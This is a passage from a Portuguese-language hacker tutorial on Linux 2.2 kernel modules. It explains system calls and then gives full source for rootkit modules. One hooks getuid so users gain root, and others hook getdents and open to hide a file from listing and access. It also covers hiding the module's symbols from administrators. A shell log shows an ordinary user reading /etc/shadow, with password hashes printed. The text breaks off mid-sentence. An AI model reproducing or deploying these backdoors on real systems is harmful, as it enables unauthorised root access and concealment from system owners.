systemcall __NR_open no Kernel Space, logo, o systemcall sys_open ou __NR_open eh o responsavel pela transicao entre um Space e outro.Para uma completa lista de todos os systemcalls disponiveis em seu sistema, procure em /usr/include/sys/syscall.h.Aqui vem uma particularidade, como estamos em uma kernel 2.2.13(Slackware 7.0), o arquivo com os numeros das systemcalls eh um header dentro desse citado anteriormente, logo podemos consulta-lo em /usr/include/asm/unistd.h .A notacao que usarei no decorrer deste tutorial eh a descrita nesse arquivo, ou seja, para o systemcall sys_open, usarei __NR_open.Pois pretendo jah ir programando diretamente para kerneis mais atuais, com notacao "mais atual".Caso queira consultar no modo antigo, poderah analisar o seguinte arquivo: /usr/include/bits/syscall.h , nele estao os defines referentes aos systemcalls em versoes antigas da kernel. Se voce notar verah que a diferenca reside somente na troca de SYS por __NR.Veja o que eh melhor para voce. Vamos analisar agora parte de um arquivo /usr/include/asm/unistd.h: #ifndef _ASM_I386_UNISTD_H_ #define _ASM_I386_UNISTD_H_ /* * This file contains the system call numbers. */ #define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_waitpid 7 #define __NR_creat 8 #define __NR_link 9 #define __NR_unlink 10 #define __NR_execve 11 #define __NR_chdir 12 #define __NR_time 13 #define __NR_mknod 14 #define __NR_chmod 15 #define __NR_lchown 16 #define __NR_break 17 #define __NR_oldstat 18 #define __NR_lseek 19 #define __NR_getpid 20 #define __NR_mount 21 #define __NR_umount 22 #define __NR_setuid 23 #define __NR_getuid 24 #define __NR_stime 25 #define __NR_ptrace 26 #define __NR_alarm 27 #define __NR_oldfstat 28 #define __NR_pause 29 #define __NR_utime 30 ... ... #define __NR_capset 185 #define __NR_sigaltstack 186 #define __NR_sendfile 187 #define __NR_getpmsg 188 /* some people actually want streams */ #define __NR_putpmsg 189 /* some people actually want streams */ #define __NR_vfork 190 Se voce notar no seu arquivo, cada systemcall possui um numero correspondente.Na versao da minha kernel, 2.2.13, existem 190 systemcalls disponiveis.A kernel usa a interrupcao 0x80(sai para modo kernel) para gerenciar todo systemcall.O numero do systemcall e alguns argumentos sao movidos para alguns registradores(eax para o numero do systemcall, por exemplo).O numero do systemcall eh um index numa array de uma estrutura kernel, chamada sys_call_table[].Esta estrutura mapeia o numero do systemcall para o servico necessario da funcao,ou melhor dizendo, para servir a necessidade de uma funcao.A seguinte tabela abaixo lista os mais interessantes systemcalls com uma pequena descricao dos mesmos.Voce necessita conhecer o trabalho ou funcionamento exato desses systemcalls em ordem para fazer realmente LKMs eficientes. ------------------------------------------------------------------------ | SYSTEMCALL | DESCRICAO | ------------------------------------------------------------------------ |int __NR_brk(unsigned long new_brk) | Muda o tamanho de um DS(Segmento | | | de Dados) usado. | ------------------------------------------------------------------------ |int __NR_getuid() e | Systemcalls para gerenciamento de | |int __NR_setuid (uid_t uid) | UID e etc. | ------------------------------------------------------------------------ |int __NR_fork(struct pt_regs regs); | System para a velha-conhecida | | | funcao fork() no User-Space. | ------------------------------------------------------------------------ | int __NR_get_kernel_sysms(struct | systemcall para acessar a tabela | | kernel_sym *table) | kernel system. | ------------------------------------------------------------------------ | int __NR_sethostname (char *name, | Responsavel por setar o hostname. | | int len); | | ------------------------------------------------------------------------ | int __NR_gethostname(char *name, | Responsavel por pegar(capturar) o | | int len); | hostname. | ------------------------------------------------------------------------ | int __NR_chdir (const char *path); | Ambas as funcoes sao responsaveis | | int __NR_fchdir (unsigned int fd); | por setar o diretorio atual(cd ..)| ------------------------------------------------------------------------ | int __NR_chmod (const char | Funcoes de gerenciamento de | | *filename, mode_t mode); | permissoes(chmod,chown,fchmod | | int __NR_chown (const char | fchown). | | *filename, mode_t mode); | | | int __NR_fchmod (unsigned int | | | fildes, mode_t mode); | | | int __NR_fchown (unsigned int | | | fildes, mode_t mode); | | ------------------------------------------------------------------------ | int __NR_chroot (const char | Seta diretorio root(chroot). | | *filename) | | ------------------------------------------------------------------------ | int __NR_execve (struct pt_regs | Chama um processo.Este eh um | | regs) | systemcall importante, ele eh | | | responsavel pela execucao de um | | | arquivo (pt_regs eh o registrador | | | stack). | ------------------------------------------------------------------------ | long __NR_fcntl (unsigned int fd, | Muda caracteristicas de um | | unsigned int cmd, unsigned long | arquivo(file descriptor) aberto. | | arg); | | ------------------------------------------------------------------------ | int __NR_link (const char | Systemcalls para gerenciamento | | *oldname, const char *newname); | de hard/soft links. | | int __NR_un(const char *name); | (linkar / deslinkar). | ------------------------------------------------------------------------ | int __NR_rename(const char | Systemcall responsavel pela | | *oldname, const char *newname); | renomeacao de um arquivo. | ------------------------------------------------------------------------ | int __NR_rmdir (const char* name); | Remove um diretorio. | ------------------------------------------------------------------------ | int __NR_mkdir (const *char | Cria um diretorio. | | filename, int mode); | | ------------------------------------------------------------------------ | int __NR_open (const char | Tudo concernente a abrir arquivos | | *filename, int mode); | (criacao tambem), e tambem | | int __NR_close (unsigned int fd); | fecha-los. | ------------------------------------------------------------------------ | long __NR_read (struct inode *, | Systemcalls para escrever e ler | | struct file *, char *,u_long); | em arquivos ou de arquivos. | | long __NR_write(struct inode *, | | | struct file *,cons char *,u_long);| | ------------------------------------------------------------------------ | int __NR_getdents (unsigned int | Systemcall que pega(captura) | | fd, struct dirent *dirent, | lista de arquivos. | | unsigned int count); | (ls ... comando) | ------------------------------------------------------------------------ | int __NR_readlink (const char | Le um link simbolico. | | *path, char *buf, int bufsize); | | ------------------------------------------------------------------------ | int __NR_select(int n, fd_set | Bom e velho select.Multiplexacao | | *inp, fd_set *outp, fd_set | de I/O(Entrada e Saida). | | *exp, struct timeval *tvp); | | ------------------------------------------------------------------------ | int __NR_socketcall (int call, | Funcoes socket. | | unsigned long args); | | ------------------------------------------------------------------------ | unsigned long __NR_create_module | Carregar modulo. | | (char *name, unsigned long size); | | ------------------------------------------------------------------------ | int __NR_delete_module | Descarregar modulo. | | (char *name); | | ------------------------------------------------------------------------ | int __NR_query_module (const char | Query(informar) sobre um modulo. | | *name, int which, void *buf, | | | size_t bufsize, size_t *ret); | | ------------------------------------------------------------------------ | long long __NR_llseek (struct | Equivalente a lseek no user space | | inode *, struct file *, | | | long long, int); | | ------------------------------------------------------------------------ Para as intencoes de um hacker, estes sao os mais interessantes systemcalls.Caso voce venha a necessitar de algum systemcall especial, nao se apavore, voce pode trabalhar perfeitamente em cima desses descritos acima para implementar seu objetivo. 5.5 - Kernel-Symbol-Table -------------------------- Kernel-Symbol-Table ou Tabela de Simbolos do Kernel refere-se a uma tabela de simbolos usados pela kernel e que pode ser lida no arquivo /proc/ksyms. Para entendermos o conceito basico de systemcalls e modulos precisamos entender o que eh essa tabela.Voce pode dar uma olhada em seu arquivo /proc/ksyms( cat /proc/ksyms | more ), lah estarao listados todos os simbolos kernel(kernel-symbol) exportados(publicos),que pode ser acessado pelo nosso LKM.Todo simbolo usado por um LKM(como uma funcao) eh tambem exportado para o publico, e eh tambem listado naquele arquivo.Isso representa um problema, pois um administrador experiente pode descobrir nosso LKM e derruba-lo(killa-lo).Existem diversos metodos para previnir que o administrador da rede possa ver o nosso LKM, um possivel metodo segue explicado abaixo: A versao 2.2.13 da kernel, existe algumas diferencas em relacao as versoes antigas.Nela, uma macro jah vem definida para nao exportar simbolos. EXPORT_NO_SYMBOLS; Basta acrescentarmos ele no init_module( ou em alguma funcao que nao queiramos exportar simbolos.Esta macro eh equivalente a antiga register_symtab(NULL); 5.6 - Tranformando Memoria do Kernel Space p/ User Space ---------------------------------------------------------- Aqui comeca a parte interessante.Os systemcalls pegam seus argumentos do user space(systemcalls sao implementados em envoltorios como libc), mas nosso LKM roda no kernel space.Fazendo uma especie de 'transicao' eh possivel acessarmos um argumento alocado no user space de nosso modulo kernel space.Tenha calma, mais abaixo isso tudo clareia! Olhe o seguinte systemcall: int sys_chdir (const char *path) Imagine que o sistema chama ele, e nos interceptamos este systemcall. Nos queremos checar o path que o usuario quer usar, entao nos temos que acessar const char *path.Se voce tentar acessar a variavel diretamente como: printk("<1>%s\n", path); voce irah ter problemas.Lembre-se que voce estah no kernel space, voce nao pode ler memoria do user space facilmente.Para a transicao de dado normal a seguinte funcao eh o modo mais facil de fazer: #include void copy_from_user(void *to, const void *from, unsigned long n); Vode poder usar a funcao acima para transicao de dados em geral.Com a funcao acima eh possivel convertermos dados da memoria do user space para a do kernel space.Mas e para o contrario(do kernel p/ o user)? Isto eh um pouco mais dificil porque nos nao podemos facilmente alocar memoria no user space da nossa posicao no kernel space.Se nos pudermos manusear este problema, nos poderemos usar: #include void copy_to_user(void *to, const void *from, unsigned long n); fazendo assim a atual conversao.Mas como alocar user space para o ponteiro *to?? O plaguez na phrack nos deu a melhor solucao: /* Nos necessitamos breckar(parar) o systemcall */ static inline _syscall1(int, brk, void *, end_data_segment); ... int ret, tmp; char *truc = OLDEXEC; /* Executavel normal que seria executado */ char *nouveau = NEWEXEC; /* Executavel que serah executado */ unsigned long mmm; mmm = current->mm->brk; ret = brk((void *) (mmm + 256)); if (ret < 0) return ret; copy_to_user((void *) (mmm + 2), nouveau, strlen(nouveau) + 1); ... Voce pode perceber acima que nouveau se refere ao executavel que serah executado, assumindo assim a memoria do user space. current eh um ponteiro para a struct(estrutura) da aplicacao atual(a que estah sendo executada); mm eh eh o ponteiro para mm_struct - responsavel pelo gerenciamento de memoria daquele processo.Usando o systemcall brk em current-> mm->brk, nos estamos habilitados a incrementar o tamanho da area nao utilizada do datasegment(segmento de dados).E como nos todos sabemos que alocacao de memoria eh feita jogando(manipulando dados) com o datasegment, entao nos incrementamos(aumentamos) o tamanho da area nao usada, temos que alocar algumas partes da memoria para o processo atual.Esta memoria pode ser usada para copiar a memoria do kernel space para o user space(processo atual).Voce deve estar intrigado sobre a primeira linha do codigo acima: static inline _syscall1(int, brk, void *, end_data_segment); Esta linha ajuda-nos a usar o user space como funcoes no kernel space.Toda funcao do user space provida para nos(como fork, brk, open, read, write,..) eh representada por um macro _syscall(...).Entao nos podemos construir o systcall-macro para uma certa funcao user space(representada por um systemcall); no exemplo acima foi usada brk. 5.7 - Meios de Usar User Space como Funcoes -------------------------------------------- Como foi visto no item anterior , nos usamos um syscall-macro para construir nossa propria chamada brk, que eh parecida com a que conhecemos no user space(brk(2)).O codigo abaixo mostra o macro responsavel pela construcao da funcao brk: #define _syscall1(type,name,type1,arg1) \ type name(type1 arg1) \ { \ long __res; \ __asm__ volatile ("int $0x80" \ : "=a" (__res) \ : "0" (__NR_##name),"b" ((long)(arg1))); \ __syscall_return(type,__res); \ } Esse codigo eh um pedaco do arquivo "/usr/include/asm/unistd.h".Nao precisamos entender o completo funcionamento deste codigo, ele somente chama a interrupcao 0x80 com alguns argumentos providos pelo parametro _syscall1.O argumento name consiste do systemcall que nos necessitamos (o name eh expandido para __NR_name, que eh definido em asm/unistd.h). Foi por este modo que nos implementamos a funcao brk.Qualquer outra funcao com muitos argumentos sao implementadas sobre outros macros(_syscallX, onde X se refere ao numero de argumentos.No exemplo com brk(2), como brk possui somente 1 argumento, o macro eh _syscall1. Um outro modo de implementar funcoes pode ser visto abaixo: int (*open)(char *, int, int); /* declara o prototipo da funcao. */ open = sys_call_table[__NR_open]; /* manda o prototipo apontar para o systemcall. */ Neste modo acima, nos nao precisamos usar qualquer macro systemcall, nos somente fizemos o ponteiro para a funcao apontar para a tabela sys_call. Um outro modo para implementar isto eh manipular os registradores necessarios.Voce deve saber que o Linux usa seletores de segmento para diferenciar entre kernel space e user space.Argumentos usados com systemcalls que foram editados no User-Space estao em algum lugar na seletor da fila de segmento de dados(DS), esse modo nao eh muito usado, por isso, nao pretendo disponibilizar ele neste tutorial, mas de uma olhada no Tutorial da The Hackers Choice para obter mais infos sobre isso. Com o que vimos ateh aqui jah podemos fazer um exemplo.Vejamos o simples programa abaixo: ---------------------------- todos_root.c ----------------------------- /* Exemplo de LKM que torna todo mundo com UID, GID e EUID iguais a 0. Desenvolvida por Nash Leon para tutorial de LKM. */ /* Abaixo seguem os defines e includes necessarios */ #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include /* Chamada para a tabela de system calls */ extern void *sys_call_table[] ; /* Funcao que serah usada p/ "salvar" a configuracao antiga do usuario, assim como open acima, ela irah ser apontada para o systemcall que desejamos */ int (*original_getuid)(); /* Nossa funcao backdoor para __NR_getuid */ int back_get(){ /* Compara uid atual, se for diferente de zero, ele irah transformar as configuracoes que desejamos.Lembre-se que current se refere ao processo atual, como vimos anteriormente */ if (current->uid != 0) { current->uid = 0; current->gid = 0; current->euid = 0; } return 0; } int init_module(void){ original_getuid = sys_call_table[__NR_getuid]; sys_call_table[__NR_getuid] = back_get; printk("<1>Backdoor Instalada com Sucesso!!!\n"); return 0; } int cleanup_module(void){ sys_call_table[__NR_getuid] = original_getuid; printk("<1>Modulo Descarregado!\n"); return 0; } ------------------------------------------------------------------------ Abaixo seguem os passos na shell: * Como root: [localhost]# gcc -c -O3 todos_root.c [localhost]# insmod todos_root.o Backdoor Instalada com Sucesso!!! * Como usuario normal: [localhost]$ id uid=0(root) gid=0(root) euid=1000(nashleon) egid=100(users) groups=100(users) [localhost]$ cat /etc/shadow cat: /etc/shadow: Permission denied [localhost]$ /bin/sh [localhost]# cat /etc/shadow root:$1$/974tGAj$aEvr5RnMhOVGvYdCyIsGK0:11120:0::::: bin:*:9797:0::::: daemon:*:9797:0::::: adm:*:9797:0::::: lp:*:9797:0::::: sync:*:9797:0::::: shutdown:*:9797:0::::: halt:*:9797:0::::: mail:*:9797:0::::: news:*:9797:0::::: uucp:*:9797:0::::: operator:*:9797:0::::: games:*:9797:0::::: ftp:*:9797:0::::: gdm:*:9797:0::::: nobody:*:9797:0::::: nashleon:$1$0G0btFZ6$jyOft65daqEK3sXIJvG861:11120:0:99999:7::12201: martin:$1$bjAtFaa4$tmDLfVvZAoa71vwFA/.gt1:11120:0:99999:7::12201: Podemos ver que funciona perfeitamente.Mas nesse exemplo todos viraram root, e isso pode nao ser nada bom, mas vamos com calma.Jah estah conseguindo contemplar os possiveis esquemas??:) 5.8 - Lista de Funcoes usadas em Kernel Space ----------------------------------------------- No inicio deste tutorial, nos vimos a funcao printk, que eh usada somente no kernel space.A Tabela abaixo mostra as principais funcoes usadas pelo kernel space: +------------------------------------------------------------------------+ | FUNCAO | DESCRICAO | +------------------------------------------------------------------------+ | int sprintf (char *buf, const | Funcoes para 'enpacotamento' de | | char *fmt, ...); | strings. | | int vsprintf (char *buf, const | | | char *fmt, va_list args); | | +------------------------------------------------------------------------+ | printk (...) | Semelhante a printf no user space | +------------------------------------------------------------------------+ | void *memset (void *s, char c, | Funcoes de manipulacao de | | size_t count); | 'memoria' | | void *memcpy (void *dest, const | | | void *src, size_t count); | | | char *bcopy (const char *src, | | | char *dest, int count); | | | void *memmove (void *dest, const | | | void *src, size_t count); | | | int memcmp (const void *cs, const | | | void *ct, size_t count); | | | void *memscan (void *addr, | | | unsigned char c, size_t size); | | +------------------------------------------------------------------------+ | char *strcpy (char *dest, const | Semelhantes a strcpy e strncpy | | char *src); | no user space, respectivamente | | char *strncpy (char *dest, const | | | char *src, size_t count); | | +------------------------------------------------------------------------+ | char *strcat (char *dest, const | Semelhantes, respectivamente, a | | char *src); | strcat e strncat no user space | | char *strncat (char *dest, const | | | char *src, size_t count); | | +------------------------------------------------------------------------+ | int strcmp (const char *cs, | Funcoes de comparacao de strings. | | const char *ct); | Semelhantes a strcmp e strncmp do | | int strncmp (const char *cs,const | user space | | char *ct, size_t count); | | +------------------------------------------------------------------------+ | char *strchr (const char *s, | Retorna um ponteiro para primeira | | char c); | ocorrencia do char c na string | | | s.Semelhante strchr no user space | +------------------------------------------------------------------------+ | size_t strlen (const char *s); | Semelhantes a strlen e strnlen, | | size_t strnlen (const char *s, | respectivamente, no user space | | size_t count); | | +------------------------------------------------------------------------+ | size_t strspn (const char *s, | Funcoes usadas para procurar uma | | const char *accept); | string de/para um set de caracters.| | char *strpbrk (const char *cs, | Semelhantes a strspn e strpbrk no | | const char *ct); | user space | +------------------------------------------------------------------------+ | char *strtok (char *s, const | Semelhante a strtok no user space | | char *ct); | | +------------------------------------------------------------------------+ | unsigned long simple_strtoul | Usada para converter strings em | | (const char *cp, char **endp, | numeros | | unsigned int base); | | +------------------------------------------------------------------------+ | get_user_byte (addr); | Funcoes para acessar a memoria do | | put_user_byte (var, addr); | usuario | | get_user_word (addr); | | | put_user_word (var, addr); | | | get_user_long (addr); | | | put_user_long (var, addr); | | +------------------------------------------------------------------------+ | suser() | Checa por direitor de Super | | fsuser() | usuario | +------------------------------------------------------------------------+ |int register_chrdev(unsigned int | Funcoes que registram device | | major, const char *name, struct | drivers.Sendo que: | | file_o perations *fops); | ..._chrdev -> Se refere a devices | |int unregister_chrdev (unsigned | do tipo char. | | int major, const char *name); | ..._blkdev -> Se refere a devices | |int register_blkdev (unsigned int | do tipo block. | | major, const char *name, struct | | | file_o perations *fops); | | |int unregister_blkdev (unsigned | | | int major, const char *name); | | +------------------------------------------------------------------------+ | int acess_ok(int type, unsigned | Esta funcao retorna verdadeiro(1) | | long addr, unsigned long | se o processo atual puder acessar | | size); | a memoria no endereco addr, caso | | | contrario, retorna falso(0). | +------------------------------------------------------------------------+ Existem muitas outras funcoes que podem ser usadas perfeitamente, foge ao objetivo deste tutorial citar todas, para o intuito de um fucador, basta essas. Lembre-se sempre que devemos dominar o 'baixo nivel' se virando com o que temos nas maos. 5.9. - O que eh o Kernel Daemon --------------------------------- Explicarei abaixo o conceito de Kernel Daemon em sistemas 2.0.X para que voce possa entender alguns conceitos somente: O Daemon Kernel(/sbin/kerneld) estah presente em todas as distribuicoes do Linux.Como o proprio nome sugere, este eh um processo no user space esperando por alguma acao.Primeiro de tudo, voce deve saber que eh necessario ativar a opcao kerneld enquanto constroi o kernel em ordem para usar caracteristicas da kernel.Kerneld trabalha do seguinte modo: Se o kernel quer acessar um recurso(no kernel space, logico), que nao estah presente naquele momento, ele nao produz um erro, ao inves disso, ele pergunta ao kerneld por aquele recurso.Se kerneld estah habilitado para prover o recurso, ele carrega o LKM requerido e o kernel pode continuar trabalhando.Pelo uso deste esquema eh possivel carregar LKMs somente quando elas sao realmente necessarias, descarregando-as quando nao ha necessidade do uso das mesmas. O kernel deve estar ciente que este trabalho necessita ser terminado em ambos os espacoes(user e kernel).Kerneld existe no user space.Se o kernel requisita um novo modulo, este daemon recebe uma string do kernel dizendo a ele qual modo deve ser carregado.Eh possivel que o kernel envie um nome generico (ao inves do nome do arquivo objeto) como eth0.Neste caso o sistema precisa procurar /etc/modules.conf por linhas de alias.Essas linhas formam nomes genericos para o LKM requerido naquele sistema.A seguinte linha diz que eth0 eh representado por um driver LKM Tulip DEC: # /etc/modules.conf # or /etc/conf.modules - isto difere alias eth0 tulip Este era o espaco do user-space representado pelo Daemon Kernel.A parte do kernel space eh essencialmente representada por 4 funcoes.Essas funcoes sao todas baseadas em uma chamada para kerneld_send.Kernel_send eh envolvido para chamar as funcoes encontradas em linux/kerneld.h.A seguinte tabela abaixo lista as 4 funcoes mencionadas acima: +------------------------------------------------------------------------+ | FUNCAO | DESCRICAO | +------------------------------------------------------------------------+ | int sprintf (char *buf, const | Funcoes para enpacotamento de dados | | char *fmt, ...); | sobre strings. | | int vsprintf (char *buf, const | | | char *fmt, va_list args); | | +------------------------------------------------------------------------+ | int request_module (const char | Diz para o kerneld que a o kernel | | *name); | requer um certo modulo(dizendo um | | | nome ou generico nome/ID). | +------------------------------------------------------------------------+ | int release_module (const char* | Descarrega um modulo. | | name, int waitflag); | | +------------------------------------------------------------------------+ | int delayed_release_module | Atrasa o descarregamento do modulo. | | (const char *name); | | +------------------------------------------------------------------------+ | int cancel_release_module | Cancela uma chamada de atraso de | | (const char *name); | descarregamento de modulo | | | (delayed_release_module). | +------------------------------------------------------------------------+ Nas versoes 2.2.X, muita coisa mudou, elas nao usam mais kerneld.Elas usam outro modo para implementar a funcao do kernel space request_module(...), este modo se chama kmod.kmod roda totalmente no kernel space(sem mais IPC para o user space).Para programadores de LKMs nada muda, voce pode ainda usar o request_module(...) para carregar modulos. 5.10. - Criando Seu Proprio Device ----------------------------------- Abaixo segue um exemplo bem simples da criacao de um Device Driver do tipo char: -------------------------------- device.c ------------------------------- /* Simples Exemplo de Criacao de um Device Drive. Feito por pragmatic para tutorial de LKM da THC. Alterado por Nash Leon para Tutorial de LKM do Unsekurity Team. http://unsekurity.virtualave.net/ */ #define MODULE #define __KERNEL__ /* Headers Necessarios, sempre tenha atencao maxima com isso! */ #include #include #include #include #include /* Abaixo segue funcao para demonstracao */ static int abre_driver(struct inode *i, struct file *f) { printk("<1>Unsekurity Team!!\n"); printk("<1>http://unsekurity.virtualave.net/\n"); return 0; } static struct file_operations fops = { NULL, /*lseek*/ NULL, /*read*/ NULL, /*write*/ NULL, /*readdir*/ NULL, /*select*/ NULL, /*ioctl*/ NULL, /*mmap*/ abre_driver, /*open, da uma olhada em nossa funcao aberta */ NULL, /*release*/ NULL /*fsync...*/ }; int init_module(void) { /* abaixo ele registra o driver com major = 40 e o nome do driver = unsek */ if(register_chrdev(40, "unsek", &fops)) return -EIO; printk("<1>Modulo Carregado com Sucesso!!\n"); return 0; } void cleanup_module(void) { /* Desregistra o nosso driver */ unregister_chrdev(40, "unsek"); printk("<1>Modulo Descarregado com Sucesso!!\n"); } --------------------------------------------------------------------------- Se quer saber o que este simples exemplo faz, siga os passos abaixo: # gcc -c -O3 device.c # mknod /dev/unsek c 40 0 # insmod device.o Voce pode usar varios esquemas para ver o que tem no device.Exemplos: # cat /dev/unsek Unsekurity Team!! http://unsekurity.virtualave.net/ cat: /dev/unsek: Invalid argument # strings /dev/unsek Unsekurity Team!! http://unsekurity.virtualave.net/ Este eh soh um exemplo basico.Logo veremos algo mais interessante. 5.11. - Alguns Macros ---------------------- Varios sao os macros usados na construcao simplificada de LKMs.Irei descrever apenas alguns, mas uma consulta aos fontes de sua kernel ajudaria bastante. + Contadores ------------- O Sistema mantem um contador para cada modulo para determinar se o mesmo pode ser eliminado sem causar prejuizos ao sistema.O sistema precisa desta informacao, pois o modulo nao poderah ser descarregado se estiver sendo utilizado: nao se deve remover um tipo de sistema de arquivos enquanto ele eh montado e nem parar um driver de caracteres enquanto um processo o estiver executando(esse conceito eh usada para tornar um modulo irremovivel). O Contador eh controlado por tres macros: MOD_INC_USE_COUNT -> Adiciona ao contador um modulo atual. MOD_DEC_USE_COUNT -> Subtrai do Contador. MOD_IN_USE ->Avalia como verdadeiro se o contador for diferente de zero. Essas macros sao definidas em e funcionam nas estruturas internas dos dados que nao devem ser acessadas diretamente pelo programador. + Usando Recursos ------------------ Um modulo nao pode executar suas tarefas sem usar os recursos do sistema, como memoria, portas de E/S e linhas de interrupcao.Como programador, voce jah deve estar acostumado a gerenciar a alocacao de memoria e, essa tarefa eh bastante semelhante a escrever o codigo do kernel.Seu programa obtem uma area de memoria, usando 'kmalloc' e a libera usando 'kfree'.Essas funcoes funcionam como malloc e free, a menos que kmalloc tenha um argumento adicional, a prioridade.Na maioria das vezes, uma prioridade de GFP_KERNEL serah utilizada.A abreviacao GFP significa "Get Free Page" (Liberar Pagina). 5.12. - Esquemas para Fucadores -------------------------------- Agora vamos ao que de fato interessa.Com as ferramentas acima descritas, jah podemos fazer muitas coisas, e aqui irei disponibilizar alguns esquemas. 5.12.1 - Interceptando systemcalls ------------------------------------ Para interceptar um system call nao tem muito segredo.Basta usarmos a propria tabela de system calls para nos dar uma forca, abaixo segue um exemplo jah demonstrado anteriormente: ----------------------------- soheuroot.c -------------------------------- #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #define MINHA_UID 1000 extern void *sys_call_table[] ; /* Funcao que serah usada para salvar o antigo system call */ int (*original_getuid)(); /* Nossa funcao backdoor para sys_getuid */ int back_get(){ /* Compara uid atual, se for igual a que desejamos, ele irah transformar os configuracoes que desejamos */ if (current->uid == MINHA_UID) { current->uid = 0; current->gid = 0; current->euid = 0;} return 0; } int init_module(void){ printk("<1>BACKDOOR VIA LKM by Nash Leon!!\n"); printk("<0>\n"); printk("<1>Instalando Backdoor...\n"); original_getuid = sys_call_table[__NR_getuid]; sys_call_table[__NR_getuid] = back_get; printk("<1>****.* Unsekurity Team *.****\n"); printk("<1>Backdoor Instalada com Sucesso!!!\n"); return 0; } int cleanup_module(void){ sys_call_table[__NR_getuid] = original_getuid; printk("<1>Modulo Descarregado!\n"); return 0; } ---------------------------------------------------------------------- Compile ele normalmente e teste num usuario e verah que funciona perfeitamente.O escopo abaixo nos dah o esquema para se interceptar um system call: -------------- ESCOPO PARA SE INTERCEPTAR UM SYSTEM CALL --------------- #define MODULE #define __KERNEL__ (HEADERS NECESSARIOS) extern void *sys_call_table[] ; (FUNCAO QUE SERAH USADA PARA SALVAR O ANTIGO SYSTEM CALL - FSALVA); (FUNCAO COM CODIGOS QUE SERAO EXECUTADOS APOS A INTERCEPTACAO - FHACKER); int init_module(void) { FSALVA = sys_call_table[__NR_SYSTEMCALL]; sys_call_table[SYS_SYSTEMCALL]= FHACKER; return 0; } void cleanup_module(void) { sys_call_table[SYS_SYSTEMCALL]= FSALVA; /* Retorna de volta o system call original. } ------------------------------------------------------------------------ Existem diversos outros system calls interessantes para interceptar, no decorrer deste tutorial voce verah alguns, entre fundo na programacao de LKM, voce verah muitas coisas interessantes. 5.12.2. - Escondendo um arquivo -------------------------------- Isto eh mesmo interessante!!:). Acho que os passos que damos nos levam a uma 'estranheza', quanto mais aprendemos mais divertido as coisas vao ficando, acho que o hacking tem isso, as tecnicas dao prazer!!:) Como vimos na parte sobre system calls, o system call responsavel por nos das informacoes sobre um arquivo se chama __NR_getdents (veja tabela no item 3.4). Usando o esboco acima, estamos capacitados a construir um LKM capaz de esconder um arquivo da percepcao dos comandos que usam este system call. --------------------------- escondels.c -------------------------------- /* LKM PARA ESCONDER UM ARQUIVO. Desenvolvido por pragmatic para Tutorial de LKM da THC. Alterado por Nash Leon para Tutorial de LKM do Unsekurity Team. LKM para Kernel 2.2.X(Testado em 2.2.13). */ #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include /* Defina o arquivo abaixo para que esconde algum arquivo seu */ #define ARQUIVO "senhas.txt" extern void* sys_call_table[]; int (*original_getdents) (uint, struct dirent *, uint); int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { unsigned int tmp, n; int t, proc = 0; struct inode *dinode; struct dirent *dirp2, *dirp3; char oculta[]= ARQUIVO; /* Abaixo, chama-se o original getdents, o resultado eh salvo em tmp */ tmp = (*original_getdents) (fd, dirp, count); /* Abaixo segue o manejo do cache do diretorio */ /* Isto precisa ser checado pois pode ser possivel que um antigo getdents empurre o resultado sobre a estruta do processo atarefado dcache */ #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif /* dinode eh o inode do diretorio requerido */ if (tmp > 0) { /* dirp2 eh uma nova estrutura dirent */ dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL); /* copia a estrutura dirent original sobre dirp2 */ copy_from_user(dirp2, dirp, tmp); /* dirp3 aponta para dirp2 */ dirp3 = dirp2; t = tmp; while (t > 0) { n = dirp3->d_reclen; t -= n; /* checa se arquivo atual eh o nome do arquivo que nos queremos ocultar */ if (strstr((char *) &(dirp3->d_name), (char *) &oculta) != NULL) { /* modifica a estrutura dirente se necessario */ if (t != 0) memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t); else dirp3->d_off = 1024; tmp -= n; } if (t != 0) dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen); } copy_to_user(dirp, dirp2, tmp); kfree(dirp2); } return tmp; } int init_module(void) { original_getdents=sys_call_table[__NR_getdents]; sys_call_table[__NR_getdents]=hacked_getdents; printk("<1>Modulo Carregado com Sucesso!!\n"); return 0; } void cleanup_module(void) { sys_call_table[__NR_getdents]=original_getdents; printk("<1>Modulo Descarregado com Sucesso!!\n"); } ------------------------------------------------------------------------ Compile e carregue o LKM, poderah ver perfeitamente que ele esconde um arquivo da execucao de um ls, por exemplo, mas se alguem der algo tipo: 'ls senhas.txt' ou 'cat senhas.txt', nosso arquivo aparecerah.Voce poderia mudar o nome para algo bem esquisito, ficaria dificil do admin detectar, mas existe um esquema melhor.Como melhorar isto?? O melhor modo que eu conheco eh esconder um diretorio e esconder do system call __NR_open tambem.Vejamos como esconder algo somente do system call __NR_open: --------------------------- esconde_open.c ------------------------------ #define MODULE #define __KERNEL__ #include #include #include #include #include #include #define ARQUIVO "alvo" extern void* sys_call_table[]; int (*original_open)(const char *pathname, int flag, mode_t mode); int hacked_open(const char *pathname, int flag, mode_t mode) { char *kernel_pathname; char oculta[]=ARQUIVO; /* Tranfere para Espaco kernel - kernel Space */ kernel_pathname = (char*) kmalloc(256, GFP_KERNEL); copy_from_user(kernel_pathname, pathname, 255); if (strstr(kernel_pathname, (char*)&oculta ) != NULL) { kfree(kernel_pathname); /* Retorna codigo de erro para 'file does not exist' */ return -ENOENT; } else { kfree(kernel_pathname); return original_open(pathname, flag, mode); } } int init_module(void) { original_open=sys_call_table[__NR_open]; sys_call_table[__NR_open]=hacked_open; printk("<1>Modulo Carregado com Sucesso!!\n"); return 0; } void cleanup_module(void) { sys_call_table[__NR_open]=original_open; printk("<1>Modulo descarregado com Sucesso!!\n"); } ------------------------------------------------------------------------- Compilando e carregando este LKM em conjunto com o outro, um usuario ficarah impossibilitado de abrir o o arquivo que voce deseja, com os dois em conjunto,voce pode ocultar um diretorio.Teste-os em um diretorio, depois digite 'ls diretorio'.Se existir um arquivo dentro do diretorio escondido, ele poderah ser listado com 'ls diretorio/arquivo', no entanto ele nao poderah ser aberto.Voce poderia criar outro LKM para esconder este diretamente este arquivo de 